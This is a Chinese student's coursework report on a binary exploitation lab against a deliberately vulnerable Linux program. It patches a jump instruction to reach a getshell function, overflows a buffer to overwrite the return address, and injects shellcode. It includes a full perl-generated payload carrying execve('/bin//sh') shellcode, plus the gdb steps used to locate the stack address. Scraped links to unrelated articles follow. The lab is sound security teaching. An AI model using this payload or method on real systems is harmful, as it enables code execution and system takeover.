Exp1 PC平台逆向破解 20164323段钊阳
实验目标
学习两种方法运行代码片段,并学习如何注入运行任何Shellcode。
三个实验内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getshell函数
2.利用foo函数的bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getshell函数
3.注入一个自己制作的shellcode并运行这段shellcode
做好前期的一些准备工作,替换更新换,导入公钥,安装execstack,包括pwn文件的权限(chmod a+x pwn1),成功运行pwn文件,然后复制三份文件,开始实验


实验一.对pwn1文件进行反汇编 objdump -d pwn1,查看代码,发现主函数跳转的是8048491,我们需要把它改成804847d跳转到getshell函数,根据偏移量计算,把d7改成c3,vi pwn1 进入编辑界面 :%!xxd转成16进制格式 /e8 d7 跳转,输入i进行修改 :%!xxd -r 改成原格式,:wq进行保存



然后执行./pwn1发现修改成功,执行getshell

实验2 对pwn2文件进行反汇编,了解程序的基本功能

我们需要输入字符串进行测试,看哪些会覆盖到返回地址,用gdb进行调试,发现1234覆盖到返回地址

但是我们输入的时候要输入16进制的数,所以需要构造输入字符串通过管道符|,作为pwn2的输入,实验成功

实验三.实验三有点麻烦,需要前期准备工作,因为我前期工作以为自己已经修改了文件堆栈,但由于重新复制了文件,做了十几次都没有成功,最后重新进行了准备工作,终于成功了,哭了。
构造payload:使用命令perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
用A来填满缓冲区,以确认,寻找字符串中对应的的4个字节
输入命令 (cat input_shellcode;cat) | ./20165335 注入攻击bof
在另外一个终端进行gdb调试,先使用 ps -ef | grep 20165335寻找进程号
用attach 命令调用·进程
同时,反汇编,在函数return esp指针变化执行后的ret语句出,设置断点
使用info r esp 查看esp寄存器的值,找出shellcode的地址(地址就在指针的后面)
最后,将找到的4个字节的地址填充进去,完成注入,再次运行程序,实现攻击


实验感想;做实验的时候真的碰到很多的问题,本来应该很早完成的,拖了很久,有时候因为自己很蠢输错了代码,结果一直错误。发现实验真的需要很细心,不过虽然这样,实验大概做了十几次了,对实验过程有了更深的了解,同时了解了实验的原理,收获还是很多的。
Exp1 PC平台逆向破解 20164323段钊阳的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
随机推荐
- jeesite快速开发平台(五)----用户-角色-部门-区域-菜单-权限表关系
转自: https://blog.csdn.net/u011781521/article/details/78994904
- C#中DateTime详解
//2008年4月24日 System.DateTime.Now.ToString("D"); //2008-4-24 System.DateTime.Now.ToString(& ...
- 在浏览器输入URL后发生了什么?
摘录部分一:https://www.cnblogs.com/kongxy/p/4615226.html 从输入URL到浏览器显示页面发生了什么 当在浏览器地址栏输入网址,如:www.baidu.com ...
- delphi datasnap
http://blog.csdn.net/shuaihj/article/details/6129121 http://blog.csdn.net/ddqqyy/article/details/617 ...
- 新手C#参数类型ref、out、params的学习2018.08.04
ref用于传递参数时,将实参传递到函数中,是引用参数,在使用前必须被赋值.string类型也同样适用. static void Main(string[] args) { string a1,a2; ...
- 30. Substring with Concatenation of All Words (String; HashTable)
You are given a string, s, and a list of words, words, that are all of the same length. Find all sta ...
- APP测试功能点总结
1.功能性测试: ——根据产品需求文档编写测试用例. ——软件设计文档编写用例.注意:就是根据产品需求文档编写测试用例而进行测试. 2.兼容性测试: ——android版本的兼容性 ——手机分 ...
- 4-在windon10上mysql安装与图形化管理
安装及可能遇到的问题: 1.windows10上安装mysql(详细步骤 https://blog.csdn.net/zhouzezhou/article/details/52446608 2. 在 ...
- Java 设计模式系列(十五)迭代器模式(Iterator)
Java 设计模式系列(十五)迭代器模式(Iterator) 迭代器模式又叫游标(Cursor)模式,是对象的行为模式.迭代子模式可以顺序地访问一个聚集中的元素而不必暴露聚集的内部表象(interna ...
- 动态执行SQL语句,接收返回值
一.exec和sp_executesql介绍 当需要根据外部输入的参数来决定要执行的SQL语句时,常常需要动态来构造SQL查询语句.比如,一个比较通用的分页存储过程,可能需要传入表名,字段,过滤条件, ...